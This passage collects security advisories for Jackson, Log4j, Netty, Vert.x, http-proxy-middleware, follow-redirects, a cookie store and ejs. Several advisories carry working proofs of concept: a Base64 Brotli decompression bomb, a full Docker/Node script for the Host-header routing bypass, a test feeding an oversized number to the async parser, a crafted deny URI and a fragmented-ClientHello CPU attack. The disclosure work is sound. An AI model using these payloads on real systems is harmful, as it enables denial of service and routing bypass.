an OutOfMemoryError. If the application subsequently calls getBigIntegerValue() or getDecimalValue(), the JVM may additionally be tied up in O(n^2) BigInteger parsing, causing CPU-based denial of service. No privileges or user interaction beyond the ability to submit data for parsing are required. This issue affects com.fasterxml.jackson.core:jackson-core from version 2.15.0 through 2.18.5 and from 2.19.0 through 2.21.0, and tools.jackson.core:jackson-core from 3.0.0 through 3.0.x. Versions prior to 2.15.0 are not affected, because StreamReadConstraints -- which defines the maxNumberLength setting -- was first introduced in jackson-core 2.15.0, so no such constraint exists to be bypassed in earlier releases. Note that GHSA-72hv-8253-57qq records the lower bound of the affected 2.x range as 2.0.0.
The Log4j1XmlLayout from the Apache Log4j 1-to-Log4j 2 bridge fails to escape characters forbidden by the XML 1.0 standard, producing malformed XML output. Conforming XML parsers are required to reject documents containing such characters with a fatal error, which may cause downstream log processing systems to drop or fail to index affected records. Two groups of users are affected: * Those using Log4j1XmlLayout directly in a Log4j Core 2 configuration file. * Those using the Log4j 1 configuration compatibility layer with org.apache.log4j.xml.XMLLayout specified as the layout class. Users are advised to upgrade to Apache Log4j 1-to-Log4j 2 bridge version 2.25.4, which corrects this issue. Note: The Apache Log4j 1-to-Log4j 2 bridge is deprecated and will not be present in Log4j 3. Users are encouraged to consult the Log4j 1 to Log4j 2 migration guide https://logging.apache.org/log4j/2.x/migrate-from-log4j1.html , and specifically the section on eliminating reliance on the bridge.
Apache Log4j Core's XmlLayout https://logging.apache.org/log4j/2.x/manual/layouts.html#XmlLayout , in versions up to and including 2.25.3, fails to sanitize characters forbidden by the XML 1.0 specification https://www.w3.org/TR/xml/#charsets producing invalid XML output whenever a log message or MDC value contains such characters. The impact depends on the StAX implementation in use: * JRE built-in StAX: Forbidden characters are silently written to the output, producing malformed XML. Conforming parsers must reject such documents with a fatal error, which may cause downstream log-processing systems to drop the affected records. * Alternative StAX implementations (e.g., Woodstox https://github.com/FasterXML/woodstox , a transitive dependency of the Jackson XML Dataformat module): An exception is thrown during the logging call, and the log event is never delivered to its intended appender, only to Log4j's internal status logger. Users are advised to upgrade to Apache Log4j Core 2.25.4, which corrects this issue by sanitizing forbidden characters before XML output.
follow-redirects is an open source, drop-in replacement for Node's `http` and `https` modules that automatically follows redirects. Prior to 1.16.0, when an HTTP request follows a cross-domain redirect (301/302/307/308), follow-redirects only strips authorization, proxy-authorization, and cookie headers (matched by regex at index.js). Any custom authentication header (e.g., X-API-Key, X-Auth-Token, Api-Key, Token) is forwarded verbatim to the redirect target. This vulnerability is fixed in 1.16.0.
Netty is a network application framework for development of protocol servers and clients. Prior to versions 4.1.135.Final and 4.2.15.Final, Netty HTTP/2 max header size handling produces an attack similar to HTTP/2 Rapid Reset. There is a setting in the http2 specification called `SETTINGS_MAX_HEADER_LIST_SIZE`. When a client sends that setting to Netty, it appears that Netty will behave as follows: read the request; proxy the request to the origin; attempt to produce a response; and create an exception while writing the headers for the response. Functionally, this should be similar to the http2 reset attack, but with a different on-the-wire signature. Versions 4.1.135.Final and 4.2.15.Final patch the issue.
http-proxy-middleware is node.js http-proxy middleware. From 0.16.0 until 2.0.10, 3.0.6, and 4.1.0, http-proxy-middleware documents router proxy-table entries as host, path, or host+path selectors, but the host+path implementation uses unanchored substring matching on attacker-controlled request metadata. As a result, a crafted Host header that is only a superstring match for a configured host+path key can still route a request to an unintended backend. This vulnerability is fixed in 2.0.10, 3.0.6, and 4.1.0.
Netty is an asynchronous, event-driven network application framework. Prior to versions 4.1.136.Final and 4.2.16.Final, `HttpContentEncoder` (the superclass of the production handler `HttpContentCompressor`) maintains a per-channel `ArrayDeque<CharSequence>` named `acceptEncodingQueue` that accumulates attacker-controlled data without any size limit. The queue is filled on the I/O thread for every inbound HTTP request and drained only when the application later writes a non-1xx response. This creates a resource exhaustion vulnerability when an attacker exploits HTTP/1.1 pipelining to flood the connection with requests faster than the application produces responses. This issue has been fixed in versions 4.1.136.Final and 4.2.16.Final.
Netty is an asynchronous, event-driven network application framework. Prior to versions 4.1.136.Final and 4.2.16.Final, Netty's HTTP/2-to-HTTP/1.x translation layer (`Http2StreamFrameToHttpObjectCodec` and `InboundHttp2ToHttpAdapter`) fails to deduplicate or validate `Host` headers when an HTTP/2 client supplies both the `:authority` pseudo-header and a literal `host` header in a single HEADERS frame. The translator maps `:authority` to `Host` and separately copies the literal `host` header, producing an `HttpRequest` object containing two `Host` headers with attacker-controlled differing values. This issue has been fixed in versions 4.1.136.Final and 4.2.16.Final.
A TCP client can perform a TLS handshake and present the server name extension with a server name that is accepted by a server wildcard name, e.g. if the server is configured with a certificate accepting *.example.com, any XYZ.example.com where xyz is a valid name can be used.
Potential unbounded server-side SNI `SslContext` cache growth in Vert.x TLS handling, with = resource-exhaustion / DoS impact. On affected versions, matching server-side SNI names are cached via `computeIfAbsent(serverName, ...)` in a serverName-keyed `SslContext` cache. The implementation differs slightly by branch, but the same sink appears to be present in released versions `4.3.4` through `5.0.11`: - `4.3.x`: `SSLHelper` - `4.4.x` / `4.5.x`: `SslChannelProvider` - `5.0.x` and current `master`: `SslContextProvider` When server-side SNI is enabled and wildcard or otherwise broad hostname mappings are used, an unauthenticated client can send many distinct matching SNI names and cause the server to retain increasing numbers of `SslContext` entries over time, leading to increasing memory consumption and possible DoS conditions. ## Steps to reproduce 1. Configure a Vert.x server with `setSsl(true)` and `setSni(true)`. 2. Use a keystore or mapping where many distinct SNI names match a wildcard or similarly broad rule. 3. Send repeated connections with distinct matching SNI values. 4. Observe that the SNI cache size grows with the number of unique matching names. ## What are the affected versions? Affected released versions confirmed on `origin`: - `4.3.4` through `4.3.8` - `4.4.0` through `4.4.9` - `4.5.0` through `4.5.26` - `5.0.0` through `5.0.11` Not affected by the same sink: - `4.0.x` through `4.2.x` - `4.3.0` through `4.3.3`
### Summary With specially crafted input, `BrotliDecoder` and some other decompressing decoders will allocate a large number of reachable byte buffers, which can lead to denial of service. ### Details `BrotliDecoder.decompress` has no limit in how often it calls `pull`, decompressing data 64K bytes at a time. The buffers are saved in the output list, and remain reachable until OOM is hit. This is basically a zip bomb. Tested on 4.1.118, but there were no changes to the decoder since. ### PoC Run this test case with `-Xmx1G`: ```java import io.netty.buffer.Unpooled; import io.netty.channel.embedded.EmbeddedChannel; import java.util.Base64; public class T { public static void main(String[] args) { EmbeddedChannel channel = new EmbeddedChannel(new BrotliDecoder()); channel.writeInbound(Unpooled.wrappedBuffer(Base64.getDecoder().decode("aPpxD1tETigSAGj6cQ8vRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROMBIAEgIaHwBETlQQVFcXlgA="))); } } ``` Error: ``` Exception in thread "main" java.lang.OutOfMemoryError: Cannot reserve 4194304 bytes of direct buffer memory (allocated: 1069580289, limit: 1073741824) at java.base/java.nio.Bits.reserveMemory(Bits.java:178) at java.base/java.nio.DirectByteBuffer.<init>(DirectByteBuffer.java:121) at java.base/java.nio.ByteBuffer.allocateDirect(ByteBuffer.java:332) at io.netty.buffer.PoolArena$DirectArena.allocateDirect(PoolArena.java:718) at io.netty.buffer.PoolArena$DirectArena.newChunk(PoolArena.java:693) at io.netty.buffer.PoolArena.allocateNormal(PoolArena.java:213) at io.netty.buffer.PoolArena.tcacheAllocateNormal(PoolArena.java:195) at io.netty.buffer.PoolArena.allocate(PoolArena.java:137) at io.netty.buffer.PoolArena.allocate(PoolArena.java:127) at io.netty.buffer.PooledByteBufAllocator.newDirectBuffer(PooledByteBufAllocator.java:403) at io.netty.buffer.AbstractByteBufAllocator.directBuffer(AbstractByteBufAllocator.java:188) at io.netty.buffer.AbstractByteBufAllocator.directBuffer(AbstractByteBufAllocator.java:179) at io.netty.buffer.AbstractByteBufAllocator.buffer(AbstractByteBufAllocator.java:116) at io.netty.handler.codec.compression.BrotliDecoder.pull(BrotliDecoder.java:70) at io.netty.handler.codec.compression.BrotliDecoder.decompress(BrotliDecoder.java:101) at io.netty.handler.codec.compression.BrotliDecoder.decode(BrotliDecoder.java:137) at io.netty.handler.codec.ByteToMessageDecoder.decodeRemovalReentryProtection(ByteToMessageDecoder.java:530) at io.netty.handler.codec.ByteToMessageDecoder.callDecode(ByteToMessageDecoder.java:469) at io.netty.handler.codec.ByteToMessageDecoder.channelRead(ByteToMessageDecoder.java:290) at io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:444) at io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:420) at io.netty.channel.AbstractChannelHandlerContext.fireChannelRead(AbstractChannelHandlerContext.java:412) at io.netty.channel.DefaultChannelPipeline$HeadContext.channelRead(DefaultChannelPipeline.java:1357) at io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:440) at io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:420) at io.netty.channel.DefaultChannelPipeline.fireChannelRead(DefaultChannelPipeline.java:868) at io.netty.channel.embedded.EmbeddedChannel.writeInbound(EmbeddedChannel.java:348) at io.netty.handler.codec.compression.T.main(T.java:11) ``` ### Impact DoS for anyone using `BrotliDecoder` on untrusted input.
Apache Log4j Core's [`XmlLayout`](https://logging.apache.org/log4j/2.x/manual/layouts.html#XmlLayout), in versions up to and including 2.25.3, fails to sanitize characters forbidden by the [XML 1.0 specification](https://www.w3.org/TR/xml/#charsets), producing invalid XML output whenever a log message or MDC value contains such characters. The impact depends on the StAX implementation in use: * **JRE built-in StAX**: Forbidden characters are silently written to the output, producing malformed XML. Conforming parsers must reject such documents with a fatal error, which may cause downstream log-processing systems to drop the affected records. * **Alternative StAX implementations** (e.g., [Woodstox](https://github.com/FasterXML/woodstox), a transitive dependency of the Jackson XML Dataformat module): An exception is thrown during the logging call, and the log event is never delivered to its intended appender, only to Log4j's internal status logger. Users are advised to upgrade to Apache Log4j Core 2.25.4, which corrects this issue by sanitizing forbidden characters before XML output.
### Summary Netty HTTP/2 max header size handling produces attack similar to HTTP/2 Rapid Reset. ### Details There is a setting in the http2 specification called `SETTINGS_MAX_HEADER_LIST_SIZE`. According to[ the RFC](https://www.rfc-editor.org/rfc/rfc9113.html#name-defined-settings): “This advisory setting informs a peer of the maximum field section size that the sender is prepared to accept, in units of octets.” When a client sends that setting to Netty, it appears that Netty will behave as follows: - Read the request - Proxy the request to the origin - Attempt to produce a response - Create an exception while writing the headers for the response Functionally, this should be similar to the http2 reset attack, but with a different on-the-wire signature. ## Remediation When speaking with clients, Netty should potentially treat this as “advisory” and ignore it. It would be best to ignore the SETTINGS_MAX_HEADER_LIST_SIZE setting from clients (or ignore it when sending to clients). According to the spec, a server does not need to honor this advisory setting, and it appears that other http/2 implementations ignore it when acting as a server. ### Impact This is a DDoS attack similar to the HTTP/2 Rapid Reset Attack. ## Credit Jonathan Looney (Engineering, Netflix) ## Contact Ashley Tolbert (Security, Netflix) - artolbert@netflix.com
# Summary `http-proxy-middleware` documents `router` proxy-table entries as host, path, or host+path selectors, but the host+path implementation uses unanchored substring matching on attacker-controlled request metadata. As a result, a crafted `Host` header that is only a superstring match for a configured host+path key can still route a request to an unintended backend. # Details Tested code state: - validated on tag `v4.0.0-beta.5` - corresponding commit: `339f09ede860197807d4fd99ed9020fa5d0bd358` Relevant code locations: - `src/router.ts` - `src/http-proxy-middleware.ts` Affected public API: - `createProxyMiddleware({ router: { 'host/path': 'http://target' } })` Code explanation: When a proxy-table router key contains `/`, `getTargetFromProxyTable()` concatenates attacker-controlled `req.headers.host` and `req.url` into a single `hostAndPath` string, then accepts the route if: ```ts hostAndPath.indexOf(key) > -1 ``` That is a substring test, not an exact host match plus intended path match. In the validated PoC, the configured router key is: ```txt localhost:3000/api ``` but the attacker-controlled host is: ```txt evillocalhost:3000 ``` and the request path is: ```txt /api ``` The concatenated attacker-controlled string: ```txt evillocalhost:3000/api ``` still contains the configured router key as a substring, so the middleware selects the alternate backend even though the host is not equal to the configured host. Exploit path: 1. the application enables the documented proxy-table `router` feature with at least one host+path rule 2. an external attacker sends an ordinary HTTP request with a crafted `Host` header 3. `HttpProxyMiddleware.prepareProxyRequest()` applies router selection before proxying 4. `getTargetFromProxyTable()` accepts the crafted `Host + path` string through substring matching 5. the request is proxied to the wrong backend ## PoC Create these files in the same working directory and run: ```bash bash ./run.sh ``` ### File: `run.sh` ```bash #!/usr/bin/env bash set -euo pipefail SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)" REPO_URL="https://github.com/chimurai/http-proxy-middleware.git" REPO_REF="v4.0.0-beta.5" WORKDIR="$(mktemp -d "${SCRIPT_DIR}/.tmp-repro.XXXXXX")" TARGET_REPO_DIR="${WORKDIR}/repo" REPRO_DIR="${WORKDIR}/reproduction" IMAGE_TAG="http-proxy-middleware-router-bypass-poc" cleanup() { rm -rf "${WORKDIR}" } trap cleanup EXIT echo "[a3] cloning target repository" git clone --quiet "${REPO_URL}" "${TARGET_REPO_DIR}" git -C "${TARGET_REPO_DIR}" checkout --quiet "${REPO_REF}" mkdir -p "${REPRO_DIR}" cp "${SCRIPT_DIR}/Dockerfile" "${WORKDIR}/Dockerfile" cp "${SCRIPT_DIR}/verify.mjs" "${REPRO_DIR}/verify.mjs" echo "[a3] building reproduction image" docker build -f "${WORKDIR}/Dockerfile" -t "${IMAGE_TAG}" "${WORKDIR}" echo "[a3] running verification" docker run --rm "${IMAGE_TAG}" node /work/reproduction/verify.mjs ``` ### File: `Dockerfile` ```Dockerfile FROM node:22-bullseye WORKDIR /work COPY repo/package.json repo/yarn.lock /work/repo/ RUN corepack enable \ && cd /work/repo \ && yarn install --frozen-lockfile COPY repo /work/repo RUN cd /work/repo && yarn build COPY reproduction /work/reproduction ``` ### File: `verify.mjs` ```js import http from 'node:http'; import fs from 'node:fs'; import assert from 'node:assert/strict'; import { createProxyMiddleware } from '/work/repo/dist/index.js'; const ROUTER_KEY = 'localhost:3000/api'; const CRAFTED_HOST = 'evillocalhost:3000'; function listen(server, port) { return new Promise((resolve) => { server.listen(port, '127.0.0.1', () => resolve()); }); } function close(server) { return new Promise((resolve, reject) => { server.close((err) => { if (err) { reject(err); return; } resolve(); }); }); } function request(path, host) { return new Promise((resolve, reject) => { const req = http.request( { host: '127.0.0.1', port: 3000, path, method: 'GET', headers: { Host: host, }, }, (res) => { let data = ''; res.setEncoding('utf8'); res.on('data', (chunk) => { data += chunk; }); res.on('end', () => { resolve({ statusCode: res.statusCode, body: data }); }); }, ); req.on('error', reject); req.end(); }); } const defaultBackend = http.createServer((req, res) => { res.end('DEFAULT'); }); const secretBackend = http.createServer((req, res) => { res.end('SECRET'); }); const proxyMiddleware = createProxyMiddleware({ target: 'http://127.0.0.1:3101', router: { [ROUTER_KEY]: 'http://127.0.0.1:3102', }, }); const proxyServer = http.createServer((req, res) => { proxyMiddleware(req, res, () => { res.statusCode = 404; res.end('NO_PROXY'); }); }); try { assert.ok(fs.existsSync('/work/repo/dist/index.js')); assert.ok(fs.existsSync('/work/reproduction/verify.mjs')); await listen(defaultBackend, 3101); await listen(secretBackend, 3102); await listen(proxyServer, 3000); console.log('STEP start-services ok'); const baseline = await request('/api', 'safe.example:3000'); assert.equal(baseline.statusCode, 200); assert.equal(baseline.body, 'DEFAULT'); console.log(`STEP baseline-route body=${baseline.body}`); const crafted = await request('/api', CRAFTED_HOST); assert.equal(crafted.statusCode, 200); assert.equal(crafted.body, 'SECRET'); assert.notEqual(CRAFTED_HOST, ROUTER_KEY.split('/')[0]); console.log(`STEP crafted-route body=${crafted.body}`); console.log('RESULT reproduced host_header_injection router substring match bypass'); } finally { await Promise.allSettled([close(proxyServer), close(defaultBackend), close(secretBackend)]); } ``` This PoC starts: - one default backend returning `DEFAULT` - one alternate backend returning `SECRET` - one proxy using: ```js createProxyMiddleware({ target: 'http://127.0.0.1:3101', router: { [ROUTER_KEY]: 'http://127.0.0.1:3102', }, }); ``` It then sends: 1. a baseline request to `/api` with `Host: safe.example:3000` 2. a crafted request to `/api` with `Host: evillocalhost:3000` Observed result from the validated PoC: - baseline request: `STEP baseline-route body=DEFAULT` - crafted request: `STEP crafted-route body=SECRET` - success marker: `RESULT reproduced host_header_injection router substring match bypass` The PoC is considered successful only if: 1. the baseline request stays on the default backend 2. the crafted request reaches the alternate backend 3. the crafted host is not equal to the configured router host # Impact This is a backend-selection integrity issue in a documented library feature. Applications that use host+path router-table rules for backend segmentation, tenant routing, or separation of public and more sensitive upstreams can have that routing boundary bypassed by an unauthenticated external client using an ordinary crafted `Host` header.
### Summary The non-blocking (async) JSON parser in `jackson-core` bypasses the `maxNumberLength` constraint (default: 1000 characters) defined in `StreamReadConstraints`. This allows an attacker to send JSON with arbitrarily long numbers through the async parser API, leading to excessive memory allocation and potential CPU exhaustion, resulting in a Denial of Service (DoS). The standard synchronous parser correctly enforces this limit, but the async parser fails to do so, creating an inconsistent enforcement policy. ### Details The root cause is that the async parsing path in `NonBlockingUtf8JsonParserBase` (and related classes) does not call the methods responsible for number length validation. - The number parsing methods (e.g., `_finishNumberIntegralPart`) accumulate digits into the `TextBuffer` without any length checks. - After parsing, they call `_valueComplete()`, which finalizes the token but does **not** call `resetInt()` or `resetFloat()`. - The `resetInt()`/`resetFloat()` methods in `ParserBase` are where the `validateIntegerLength()` and `validateFPLength()` checks are performed. - Because this validation step is skipped, the `maxNumberLength` constraint is never enforced in the async code path. ### PoC The following JUnit 5 test demonstrates the vulnerability. It shows that the async parser accepts a 5,000-digit number, whereas the limit should be 1,000. ```java package tools.jackson.core.unittest.dos; import java.nio.charset.StandardCharsets; import org.junit.jupiter.api.Test; import tools.jackson.core.*; import tools.jackson.core.exc.StreamConstraintsException; import tools.jackson.core.json.JsonFactory; import tools.jackson.core.json.async.NonBlockingByteArrayJsonParser; import static org.junit.jupiter.api.Assertions.*; /** * POC: Number Length Constraint Bypass in Non-Blocking (Async) JSON Parsers * * Authors: sprabhav7, rohan-repos * * maxNumberLength default = 1000 characters (digits). * A number with more than 1000 digits should be rejected by any parser. * * BUG: The async parser never calls resetInt()/resetFloat() which is where * validateIntegerLength()/validateFPLength() lives. Instead it calls * _valueComplete() which skips all number length validation. * * CWE-770: Allocation of Resources Without Limits or Throttling */ class AsyncParserNumberLengthBypassTest { private static final int MAX_NUMBER_LENGTH = 1000; private static final int TEST_NUMBER_LENGTH = 5000; private final JsonFactory factory = new JsonFactory(); // CONTROL: Sync parser correctly rejects a number exceeding maxNumberLength @Test void syncParserRejectsLongNumber() throws Exception { byte[] payload = buildPayloadWithLongInteger(TEST_NUMBER_LENGTH); // Output to console System.out.println("[SYNC] Parsing " + TEST_NUMBER_LENGTH + "-digit number (limit: " + MAX_NUMBER_LENGTH + ")"); try { try (JsonParser p = factory.createParser(ObjectReadContext.empty(), payload)) { while (p.nextToken() != null) { if (p.currentToken() == JsonToken.VALUE_NUMBER_INT) { System.out.println("[SYNC] Accepted number with " + p.getText().length() + " digits — UNEXPECTED"); } } } fail("Sync parser must reject a " + TEST_NUMBER_LENGTH + "-digit number"); } catch (StreamConstraintsException e) { System.out.println("[SYNC] Rejected with StreamConstraintsException: " + e.getMessage()); } } // VULNERABILITY: Async parser accepts the SAME number that sync rejects @Test void asyncParserAcceptsLongNumber() throws Exception { byte[] payload = buildPayloadWithLongInteger(TEST_NUMBER_LENGTH); NonBlockingByteArrayJsonParser p = (NonBlockingByteArrayJsonParser) factory.createNonBlockingByteArrayParser(ObjectReadContext.empty()); p.feedInput(payload, 0, payload.length); p.endOfInput(); boolean foundNumber = false; try { while (p.nextToken() != null) { if (p.currentToken() == JsonToken.VALUE_NUMBER_INT) { foundNumber = true; String numberText = p.getText(); assertEquals(TEST_NUMBER_LENGTH, numberText.length(), "Async parser silently accepted all " + TEST_NUMBER_LENGTH + " digits"); } } // Output to console System.out.println("[ASYNC INT] Accepted number with " + TEST_NUMBER_LENGTH + " digits — BUG CONFIRMED"); assertTrue(foundNumber, "Parser should have produced a VALUE_NUMBER_INT token"); } catch (StreamConstraintsException e) { fail("Bug is fixed — async parser now correctly rejects long numbers: " + e.getMessage()); } p.close(); } private byte[] buildPayloadWithLongInteger(int numDigits) { StringBuilder sb = new StringBuilder(numDigits + 10); sb.append("{\"v\":"); for (int i = 0; i < numDigits; i++) { sb.append((char) ('1' + (i % 9))); } sb.append('}'); return sb.toString().getBytes(StandardCharsets.UTF_8); } } ``` ### Impact A malicious actor can send a JSON document with an arbitrarily long number to an application using the async parser (e.g., in a Spring WebFlux or other reactive application). This can cause: 1. **Memory Exhaustion:** Unbounded allocation of memory in the `TextBuffer` to store the number's digits, leading to an `OutOfMemoryError`. 2. **CPU Exhaustion:** If the application subsequently calls `getBigIntegerValue()` or `getDecimalValue()`, the JVM can be tied up in O(n^2) `BigInteger` parsing operations, leading to a CPU-based DoS. ### Suggested Remediation The async parsing path should be updated to respect the `maxNumberLength` constraint. The simplest fix appears to ensure that `_valueComplete()` or a similar method in the async path calls the appropriate validation methods (`resetInt()` or `resetFloat()`) already present in `ParserBase`, mirroring the behavior of the synchronous parsers. **NOTE:** This research was performed in collaboration with [rohan-repos](https://github.com/rohan-repos)
Netty's HTTP/2-to-HTTP/1.x translation layer (`Http2StreamFrameToHttpObjectCodec` and `InboundHttp2ToHttpAdapter`) fails to deduplicate or validate `Host` headers when an HTTP/2 client supplies both the `:authority` pseudo-header and a literal `host` header in a single HEADERS frame. The translator maps `:authority` to `Host` and separately copies the literal `host` header, producing an `HttpRequest` object containing two `Host` headers with attacker-controlled differing values.
The Vert.x Web static handler component cache can be manipulated to deny the access to static files served by the handler using specifically crafted request URI. The issue comes from an improper implementation of the C. rule of section 5.2.4 of RFC3986 and is fixed in Vert.x Core component (used by Vert.x Web): https://github.com/eclipse-vertx/vert.x/pull/5895 Steps to reproduce Given a file served by the static handler, craft an URI that introduces a string like bar%2F..%2F after the last / char to deny the access to the URI with an HTTP 404 response. For example https://example.com/foo/index.html can be denied with https://example.com/foo/bar%2F..%2Findex.html Mitgation Disabling Static Handler cache fixes the issue. StaticHandler staticHandler = StaticHandler.create().setCachingEnabled(false);
### Impact The cookie store decides whether a `Domain` attribute may be accepted using only the domain-matching rule of RFC 6265 Section 5.1.3, which asks whether the request host is the domain or ends with a dot followed by it. Section 5.3 step 5, which additionally requires rejecting a `Domain` that is a public suffix, is not implemented anywhere in the client. So a host under a multi-label public suffix can set a cookie for the suffix itself, and the store then hands it to every other host under that suffix: ``` attacker.co.uk -> Set-Cookie: SID=attacker-value; Domain=co.uk; Path=/ bank.co.uk -> Cookie: SID=attacker-value ``` `Domain=uk` works the same way. The attacker needs only a site under the same suffix as the victim, which for suffixes such as `co.uk`, `com.au`, or `github.io` is trivially obtainable. Depending on what the application does with the cookie, this is session fixation, or it overwrites a session the victim site set, or it lets the attacker plant a value the victim site trusts. ### Affected versions * 3.x: up to and including 3.0.12 * 2.x: up to and including 2.16.0 ### Relationship to CVE-2026-55688 CVE-2026-55688 (GHSA-m452-q8c9-rg2f) covered the direct form of this, where a host sets a `Domain` naming an unrelated host, and that form is genuinely fixed: `attacker.co.uk` can no longer set `Domain=bank.co.uk`, and this was verified as a control. What that fix did not add is the public suffix test, so setting `Domain=co.uk` still reaches `bank.co.uk`. This advisory covers only the residual. ### Patches Fixed in 3.0.13 on the 3.x line. The ICANN section of the Mozilla public suffix list is bundled with the client and a `Domain` matching it is rejected, honouring the list's wildcard and exception rules. The list is data and goes stale, so a suffix added upstream after a release is not recognised until the bundled copy is refreshed. The 2.x line is not yet fixed. ### Workarounds Do not share one `CookieStore` across origins that are not mutually trusted. Supplying a `CookieStore` implementation that rejects `Domain` values which are public suffixes also avoids it. ### Details `ThreadSafeCookieStore.domainsMatch` is `requestDomain.equals(cookieDomain) || requestDomain.endsWith('.' + cookieDomain)`. It is used both to accept a `Domain` on storage and to select cookies for a request, and neither call site consults a public suffix list. A search of the client for any public suffix or effective TLD handling returns nothing.
### Summary Netty's default SNI entrypoint reparses and recopies previously received ClientHello fragments on every additional TLS handshake record. A remote peer can send a small first record that advertises a large ClientHello length and then drip the body in many tiny records, causing **superlinear (quadratic) CPU work** before the handshake completes. With 4095 one-byte fragments, the handler recopies **8,386,560 bytes** from only **24,579 bytes** on the wire — a **341× amplification** ratio. ### Affected Entrypoints - `io.netty.handler.ssl.SniHandler` — default constructors - `io.netty.handler.ssl.SslClientHelloHandler` — pre-handshake ClientHello aggregation path ### Vulnerable Code Locations - `handler/src/main/java/io/netty/handler/ssl/SniHandler.java:85` - `handler/src/main/java/io/netty/handler/ssl/SslClientHelloHandler.java:75` (decode entry) - `handler/src/main/java/io/netty/handler/ssl/SslClientHelloHandler.java:165` (handshakeBuffer.clear) - `handler/src/main/java/io/netty/handler/ssl/SslClientHelloHandler.java:174` (writeBytes re-copy) - `codec-base/src/main/java/io/netty/handler/codec/ByteToMessageDecoder.java:294` (cumulation retention) ### Exploit Path ``` 1. TCP connection → SniHandler → SslClientHelloHandler.decode 2. First record: TLS handshake header declaring large ClientHello length (e.g., 4096 bytes) 3. Attacker sends thousands of tiny follow-on handshake records (1 byte each) 4. On each fragment: handshakeBuffer.clear() + writeBytes() re-copies ALL accumulated body bytes 5. Total bytes copied = n*(n+1)/2 where n = number of body bytes → quadratic 6. Event-loop CPU exhausted before SslHandler takes over ``` ### Impact - **Vulnerability Type:** Inefficient Algorithmic Complexity - An unauthenticated network attacker can drive disproportionate CPU consumption on the Netty event loop - Affects **all** Netty deployments using `SniHandler` for TLS termination (the default SNI path) - No privileges, user interaction, or special configuration required - Can degrade or stall TLS connection handling for all clients on the affected event loop - The attack requires only modest bandwidth (~25 KB) to trigger significant CPU work --- ### Credits Found by a security research team from the University of Sydney, focusing on detecting open source software vulnerabilities. Liyi Zhou: https://lzhou1110.github.io/ Ziyue Wang: https://zyy0530.github.io/ Strick: https://str1ckl4nd.github.io/ Maurice: https://maurice.busystar.org/ Chenchen Yu: https://7thparkk.github.io/
The ejs (aka Embedded JavaScript templates) package before 3.1.10 for Node.js lacks certain pollution protection.
